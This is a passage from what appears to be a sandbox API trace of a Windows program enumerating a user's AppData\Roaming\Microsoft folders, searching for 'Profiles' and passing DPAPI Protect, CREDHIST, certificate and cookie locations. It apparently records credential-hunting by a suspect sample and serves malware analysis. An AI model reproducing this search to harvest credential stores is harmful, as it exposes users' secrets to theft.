cFileName="..", cAlternateFileName="")) returned 1 [0266.174] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.174] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 0 [0266.174] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.174] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Protect", cAlternateFileName="")) returned 1 [0266.174] lstrcmpW (lpString1="Protect", lpString2="Profiles") returned 1 [0266.174] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.174] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.174] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.174] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.174] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.174] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x60624f40, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0266.174] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0266.175] lstrcmpW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="Profiles") returned 1 [0266.175] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned 52 [0266.175] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x30b088f0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x510a9850, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x510a9850, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0266.175] lstrcmpW (lpString1="S-1-5-21-4219442223-4223814209-3835049652-1000", lpString2="Profiles") returned 1 [0266.175] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned 52 [0266.175] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0266.175] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0266.175] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.175] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0266.175] lstrcmpW (lpString1="SystemCertificates", lpString2="Profiles") returned 1 [0266.175] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.175] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.175] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.175] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.175] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.175] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="My", cAlternateFileName="")) returned 1 [0266.175] lstrcmpW (lpString1="My", lpString2="Profiles") returned -1 [0266.175] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 63 [0266.176] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="My", cAlternateFileName="")) returned 0 [0266.176] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.176] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0266.176] lstrcmpW (lpString1="Templates", lpString2="Profiles") returned 1 [0266.176] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.176] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\templates\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.176] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.176] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.176] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.176] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0266.176] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0 [0266.176] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.176] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="UProof", cAlternateFileName="")) returned 1 [0266.176] lstrcmpW (lpString1="UProof", lpString2="Profiles") returned 1 [0266.176] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.176] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.177] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.177] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.177] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.177] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0266.177] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0266.177] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.177] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Windows", cAlternateFileName="")) returned 1 [0266.178] lstrcmpW (lpString1="Windows", lpString2="Profiles") returned 1 [0266.178] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.178] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.178] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.178] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.178] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.178] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x76abed20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x76abed20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Cookies", cAlternateFileName="")) returned 1 [0266.178] lstrcmpW (lpString1="Cookies", lpString2="Profiles") returned -1 [0266.178] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.178] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7958db70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="IECompatCache", cAlternateFileName="IECOMP~1")) returned 1 [0266.178] lstrcmpW (lpString1="IECompatCache", lpString2="Profiles") returned -1 [0266.178] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.178] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="IETldCache", cAlternateFileName="IETLDC~1")) returned 1 [0266.178] lstrcmpW (lpString1="IETldCache", lpString2="Profiles") returned -1 [0266.178] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.178] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e87ab80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e87ab80, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0266.178] lstrcmpW (lpString1="Libraries", lpString2="Profiles") returned -1 [0266.178] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.178] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79567a10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0266.178] lstrcmpW (lpString1="Network Shortcuts", lpString2="Profiles") returned -1 [0266.178] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79567a10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0266.179] lstrcmpW (lpString1="Printer Shortcuts", lpString2="Profiles") returned -1 [0266.179] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x75cc2be0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x75cc2be0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0266.179] lstrcmpW (lpString1="PrivacIE", lpString2="Profiles") returned -1 [0266.179] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795418b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2f652f00, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x2f652f00, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Recent", cAlternateFileName="")) returned 1 [0266.179] lstrcmpW (lpString1="Recent", lpString2="Profiles") returned 1 [0266.179] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x795418b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="SendTo", cAlternateFileName="")) returned 1 [0266.179] lstrcmpW (lpString1="SendTo", lpString2="Profiles") returned 1 [0266.179] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7951b750, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e803170, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0266.179] lstrcmpW (lpString1="Start Menu", lpString2="Profiles") returned 1 [0266.179] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x794f55f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xaef15879, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, 